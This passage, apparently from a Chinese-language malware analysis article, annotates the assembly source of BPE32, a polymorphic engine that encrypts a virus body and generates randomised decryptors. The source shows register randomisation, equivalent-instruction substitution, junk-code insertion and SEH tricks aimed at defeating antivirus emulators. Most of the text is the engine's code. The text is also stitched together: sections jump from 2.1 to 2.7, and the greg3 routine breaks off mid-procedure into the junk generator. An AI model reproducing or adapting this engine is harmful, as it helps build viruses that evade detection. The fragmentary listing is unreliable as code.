2.1 随机数设计:
BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。
random proc
push edx
RDTCS
xor edx, edx ;nulify EDX, we need only EAX
cmp [esp+8], edx ;is parameter==0 ?
je r_out ;yeah, do not truncate result
div dword ptr [esp+8] ;divide it
xchg eax, edx ;remainder as result
r_out: pop edx ;restore EDX
ret Pshd ;quit procedure and destroy pushed parameter
random endp
;I5
00402064 B8 CC54578A MOV EAX,8A5754CC ;循环计数减1
00402069 2BD0 SUB EDX,EAX
0040206B 81C2 CB54578A ADD EDX,8A5754CB
;I6
00402071 B8 00000000 MOV EAX,0 ;基址密钥+增量密钥加(目前增量是0)
00402076 03D8 ADD EBX,EAX
;I7
00402078 51 PUSH ECX
00402079 8BCA MOV ECX,EDX
/---0040207B E3 03 JECXZ SHORT T-BPE32.00402080 ;测试看解密是否完成
| ;I8
| 0040207D 59 POP ECX
| 0040207E ^ EB DE JMP SHORT T-BPE32.0040205E ;继续进行解密
\-->00402080 59 POP ECX
00402081 61 POPAD
00402082 C3 RETN
2.7 重建指令流程
针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中:
greg0 -- 产生SEH部分代码
greg1 -- 产生SEH部分代码
greg2 -- 产生mov Rx,src 类代码
greg3 -- 产生mov Rx, cnt类代码
以上部分例程不进行代码重排序。
greg4 -- 产生密钥自增代码
greg5 -- 产生待解密数据自增代码
greg6 -- 产生计数器自减的代码
greg7 -- 产生解密跳转的代码
BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致但代码不同的新指令如:
greg4提供4种等效方案,供随机选择
1:XCHG EAX, Rx
XOR Rx, Rx
OR Rx, EAX
ADD Rx, value
2: add Rx,value
3: mov eax,value
add Rx,eax
4: mov eax,Rx
add eax,value
xchg eax,Rx
greg5 提供多种等效方案,供随机选择,如
1:
inc Rx ;执行4次
2: 3:
mov eax,Rx , mov eax,4
add eax,4 add Rx,eax
xchg eax,Rx
greg6提供了4种等效方案,供随机选择
1:sub Rx,1
2:dec Rx,1
3:
mov eax, random_v
sub Rx, eax
add reg,random -1
4:
xchg eax,Rx
dec eax
xchg eax,Rx
greg7提供了两种等效方案,供随机选择
1:
push ecx
mov ecx, reg
jecxz label
pop ecx
jmp decrypt_loop
label:
pop ecx
2 :
xor eax, eax
dec eax
add eax, reg
jns decrypt_loop
而整体greg4 ~ greg6的排序规则由如下代码产生:
push 6 ;产生0 ~ 5种方案的随机排列顺序
call random
test eax, eax
je g5 ;greg4 - key incremention
cmp al, 1 ;greg5 - source incremention
je g1 ;greg6 - count decremention
cmp al, 2 ;greg7 - decryption loop
je g2
cmp al, 3
je g3
cmp al, 4
je g4
g0: call gg1
call greg6
jmp g_end
g1: call gg2
call greg5
jmp g_end
g2: call greg5
call gg2
jmp g_end
g3: call greg5
gg3: call greg6
jmp g_out
g4: call greg6
call gg1
jmp g_end
g5: call greg6
call greg5
g_out: call greg4
g_end: call greg7
mov al, 61h
stosb
call rjunk
mov al, 0c3h
stosb
pop eax
sub eax, edi
neg eax
mov [esp.Pushad_eax], eax
popad
ret ;整个BPE32结束
三 代码解析
下面将对BPE32关键处的代码做简要的注释;
RDTCS equ <dw 310Fh> ;RDTCS opcode
SALC equ <db 0D6h> ;SALC opcode
BPE32 Proc
pushad ;save all regs
push edi ;save these regs for l8r use
push ecx ; ...
mov edx, edi ; ...
push esi ;preserve this reg
call rjunk ;generate random junk instructions
pop esi ;restore it
mov al, 0e8h ;create CALL instruction
stosb ; ...
mov eax, ecx ; ...
imul eax, 4 ; ...
stosd ; ...
;edx保存有最开始的edi
mov eax, edx ;calculate size of CALL+junx
sub edx, edi ; ...
neg edx ; ...
add edx, eax ; ...
push edx ;保存 call 与 填充垃圾指令的差值
push 0 ;get random number
call random ; ...
xchg edx, eax
mov [ebp + xor_key - mgdelta], edx ;use it as xor constant
push 0 ;get random number
call random ; ...
xchg ebx, eax
mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant
x_loop: lodsd ;load DWORD
xor eax, edx ;encrypt it
stosd ;store encrypted DWORD
add edx, ebx ;increment key
loop x_loop ;next DWORD
; 以上完成了对病毒体的加密
; 下面进行利用SEH对抗AV VM仿真
call rjunk ;generate junx
mov eax, 0006e860h ;generate SEH handler
stosd ; ...
mov eax, 648b0000h ; ...
stosd ; ...
mov eax, 0ceb0824h ; ...
stosd ; ...
;以上产生类似如下代码
;pushad
;call t_bpe32.0040200c
;mov esp,dword ptr ss:[esp+8]
;jmp short t_bpe32.00402018
greg0: call get_reg ;get random register
cmp al, 5 ;MUST NOT be EBP register
je greg0
mov bl, al ;store register
;dl 是参数,11 是产生非mov reg,reg 指令的标志
mov dl, 11 ;proc parameter (do not generate MOV)
call make_xor ;create XOR or SUB instruction
inc edx ;destroy parameter
mov al, 64h ;generate FS:
stosb ;store it
mov eax, 896430ffh ;next SEH instructions
or ah, bl ;change register
stosd ;store them
mov al, 20h ; ...
add al, bl ; ...
stosb ; ...
;以上将产生类似如下代码
;xor Rx,Rx
;push dword ptr fs:[Rx]
;mov dword ptr fs:[Rx],esp
push 2 ;get random number
call random
test eax, eax
je _byte_
mov al, 0feh ;generate INC DWORD PTR
jmp _dw_
_byte_: mov al, 0ffh ;generate INC BYTE PTR
_dw_: stosb ;store it
mov al, bl ;store register
stosb
mov al, 0ebh ;generate JUMP SHORT
stosb
mov al, -24d ;generate jump to start of code (trick
stosb ;for better emulators, e.g. NODICE32)
; 以上产生类似如下代码
; inc byte ptr [edx]
; jmp start
call rjunk ;generate junx
greg1: call get_reg ;generate random register
cmp al, 5 ;MUST NOT be EBP
je greg1
mov bl, al ;store it
call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0
mov al, 64h ;next SEH instructions
stosb
mov al, 8fh
stosb
mov al, bl
stosb
mov al, 58h
add al, bl
stosb
mov al, 0e8h ;generate CALL
stosb
xor eax, eax
stosd
push edi ;store for l8r use
call rjunk ;call junk generator
call get_reg ;random register
mov bl, al ;store it
push 1 ;random number (0-1)
call random
test eax, eax
jne next_delta
mov al, 8bh ;generate MOV reg, [ESP]; POP EAX
stosb
mov al, 80h
or al, bl
rol al, 3
stosb
mov al, 24h
stosb
mov al, 58h
jmp bdelta
;以上产生类似如下代码
;seh_rs:
; xor Rx, Rx
; pop dword ptr fs:[Rx]
; pop Rx
next_delta:
mov al, bl ;generate POP reg; SUB reg, ...
add al, 58h
bdelta: stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bl
stosb
pop eax
stosd
call rjunk ;random junx
;做一个随机的重定位
xor bh, bh ;parameter (first execution only)
call greg2 ;generate MOV sourcereg, ...
mov al, 3 ;generate ADD sourcereg, deltaoffset
stosb
mov al, 18h
or al, bh
rol al, 3
or al, bl
stosb
mov esi, ebx ;store EBX
call greg2 ;generate MOV countreg, ...
mov cl, bh ;store count register
mov ebx, esi ;restore EBX
call greg3 ;generate MOV keyreg, ...
push edi ;store this position for jump to decryptor
mov al, 31h ;generate XOR [sourcereg], keyreg
stosb
mov al, ch
rol al, 3
or al, bh
stosb
push 6 ;this stuff will choose ordinary of calls
call random ;to code generators
test eax, eax
je g5 ;greg4 - key incremention
cmp al, 1 ;greg5 - source incremention
je g1 ;greg6 - count decremention
cmp al, 2 ;greg7 - decryption loop
je g2
cmp al, 3
je g3
cmp al, 4
je g4
g0: call gg1
call greg6
jmp g_end
g1: call gg2
call greg5
jmp g_end
g2: call greg5
call gg2
jmp g_end
g3: call greg5
gg3: call greg6
jmp g_out
g4: call greg6
call gg1
jmp g_end
g5: call greg6
call greg5
g_out: call greg4
g_end: call greg7
mov al, 61h ;generate POPAD instruction
stosb
call rjunk ;junk instruction generator
mov al, 0c3h ;RET instruction
stosb
pop eax ;calculate size of decryptor and encrypted data
sub eax, edi
neg eax
mov [esp.Pushad_eax], eax ;store it to EAX register
popad ;restore all regs
ret ;and thats all folx
get_reg proc ;this procedure generates random register
push 8 ;random number (0-7)
call random ; ...
test eax, eax
je get_reg ;MUST NOT be 0 (=EAX is used as junk register)
cmp al, 100b ;MUST NOT be ESP
je get_reg
ret
get_reg endp
make_xor proc ;this procedure will generate instruction, that
push 3 ;will nulify register (BL as parameter)
call random
test eax, eax
je _sub_
cmp al, 1
je _mov_
mov al, 33h ;generate XOR reg, reg
jmp _xor_
_sub_: mov al, 2bh ;generate SUB reg, reg
_xor_: stosb
mov al, 18h
or al, bl
rol al, 3
or al, bl
stosb
ret
_mov_: cmp dl, 11 ;generate MOV reg, 0
je make_xor
mov al, 0b8h
add al, bl
stosb
xor eax, eax
stosd
ret
make_xor endp
gg1: call greg4
jmp greg5
gg2: call greg4
jmp greg6
random proc ;this procedure will generate random number
push edx ;save EDX
RDTCS ;RDTCS instruction - reads PCs tix and stores
xor edx, edx ;nulify EDX, we need only EAX
cmp [esp+8], edx ;is parameter==0 ?
je r_out
div dword ptr [esp+8] ;divide it
xchg eax, edx ;remainder as result
r_out: pop edx ;restore EDX
ret Pshd ;quit procedure and destroy pushed parameter
random endp
make_xor2 proc ;create XOR instruction
mov al, 81h
stosb
mov al, 0f0h
add al, bh
stosb
ret
make_xor2 endp
greg2 proc ;1 parameter = source/count value
call get_reg ;get register
cmp al, bl ;already used ?
je greg2
cmp al, 5
je greg2
cmp al, bh
je greg2
mov bh, al
mov ecx, [esp+4] ;get parameter(构造的第一个call指令后下一个地址)
push 5 ;choose instructions
call random
test eax, eax
je s_next0
cmp al, 1
je s_next1
cmp al, 2
je s_next2
cmp al, 3
je s_next3
mov al, 0b8h ;MOV reg, random_value
add al, bh ;XOR reg, value
stosb ;param = random_value xor value
push 0
call random
xor ecx, eax
stosd
call make_xor2
mov eax, ecx
jmp n_end2
s_next0:mov al, 68h ;PUSH random_value
stosb ;POP reg
push 0 ;XOR reg, value
call random ;result = random_value xor value
xchg eax, ecx
xor eax, ecx
stosd
mov al, 58h
add al, bh
stosb
call make_xor2
xchg eax, ecx
jmp n_end2
s_next1:mov al, 0b8h ;MOV EAX, random_value
stosb ;MOV reg, EAX
push 0 ;SUB reg, value
call random ;result = random_value - value
stosd
push eax
mov al, 8bh
stosb
mov al, 18h
or al, bh
rol al, 3
stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bh
stosb
pop eax
sub eax, ecx
jmp n_end2
s_next2:push ebx ;XOR reg, reg
mov bl, bh ;XOR reg, random_value
call make_xor ;ADD reg, value
pop ebx ;result = random_value + value
call make_xor2
push 0
call random
sub ecx, eax
stosd
push ecx
call s_lbl
pop eax
jmp n_end2
s_lbl: mov al, 81h ;create ADD reg, ... instruction
stosb
mov al, 0c0h
add al, bh
stosb
ret
s_next3:push ebx ;XOR reg, reg
mov bl, bh ;ADD reg, random_value
call make_xor ;XOR reg, value
pop ebx ;result = random_value xor value
push 0
call random
push eax
xor eax, ecx
xchg eax, ecx
call s_lbl
xchg eax, ecx
stosd
call make_xor2
pop eax
n_end2: stosd
push esi
call rjunk
pop esi
ret Pshd
greg2 endp
greg3 proc
call get_reg ;get register
cmp al, 5 ;already used ?
je greg3
cmp al, bl
je greg3
cmp al, bh
je greg3
cmp al, cl
je greg3
mov ch, al
mov edx, 0 ;get encryption key value
xor_key = dword ptr $ - 4
push 3
call random
test eax, eax
je k_next1
cmp al, 1
je k_next2
push ebx ;XOR reg, reg
mov bl, ch ;OR, ADD, XOR reg, value
call make_xor
pop ebx
rjunk proc ;junk instruction generator
push 8
call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
;左侧索引(eax,随机数) = 右侧(垃圾指令字节数)
rjn: test eax, eax
je j5
cmp al, 1
je j_1x2
cmp al, 2
je j_2x1
cmp al, 4
je j2
cmp al, 5
je j3
cmp al, 6
je r_end
cmp al, 7
je jcj
j1: call junx1 ;one byte junk instruction
nop
dec eax
SALC
inc eax
clc
cwde
stc
cld
junx1: pop esi
push 8
call random
add esi, eax
movsb
ret
j_1x2: call j1 ;one byte and two byte
jmp j2
j_2x1: call j2 ;two byte and one byte
jmp j1
j3: call junx3
db 0c1h, 0c0h ;rol eax, ...
db 0c1h, 0e0h ;shl eax, ...
db 0c1h, 0c8h ;ror eax, ...
db 0c1h, 0e8h ;shr eax, ...
db 0c1h, 0d0h ;rcl eax, ...
db 0c1h, 0f8h ;sar eax, ...
db 0c1h, 0d8h ;rcr eax, ...
db 083h, 0c0h
db 083h, 0c8h
db 083h, 0d0h
db 083h, 0d8h
db 083h, 0e0h
db 083h, 0e8h
db 083h, 0f0h
db 083h, 0f8h ;cmp eax, ...
db 0f8h, 072h ;clc; jc ...
db 0f9h, 073h ;stc; jnc ...
junx3: pop esi ;three byte junk instruction
push 17
call random
imul eax, 2
add esi, eax
movsb
movsb
r_ran: push 0
call random
test al, al
je r_ran
stosb
ret
j2: call junx2
db 8bh ;mov eax, ...
db 03h ;add eax, ...
db 13h ;adc eax, ...
db 2bh ;sub eax, ...
db 1bh ;sbb eax, ...
db 0bh ;or eax, ...
db 33h ;xor eax, ...
db 23h ;and eax, ...
db 33h ;test eax, ...
junx2: pop esi ;two byte junk instruction
push 9
call random
add esi, eax
movsb
push 8
call random
add al, 11000000b
stosb
r_end: ret
j5: call junx5
db 0b8h ;mov eax, ...
db 05h ;add eax, ...
db 15h ;adc eax, ...
db 2dh ;sub eax, ...
db 1dh ;sbb eax, ...
db 0dh ;or eax, ...
db 35h ;xor eax, ...
db 25h ;and eax, ...
db 0a9h ;test eax, ...
db 3dh ;cmp eax, ...
junx5: pop esi ;five byte junk instruction
push 10
call random
add esi, eax
movsb
push 0
call random
stosd
ret
jcj: call rjunkjc ;junk
push edx
push ebx ;junk
push ecx
mov al, 0e8h ;CALL label1
stosb
push edi
stosd
push edi
call rjunkjc
mov al, 0e9h ;JMP label2
stosb
mov ecx, edi
stosd
mov ebx, edi ; 保存后方要修改jmp地址时的EDI,
call rjunkjc
pop eax
sub eax, edi
neg eax
mov edx, edi
pop edi
stosd
mov edi, edx
call rjunkjc
mov al, 0c3h ; ret
stosb
call rjunkjc
sub ebx, edi ;前面指令jmp 后的地址值
neg ebx
xchg eax, ebx
push edi
mov edi, ecx
stosd
pop edi
call rjunkjc
pop ecx
pop ebx
pop edx
ret
rjunk endp
BPE32 EndP ;BPE32 ends here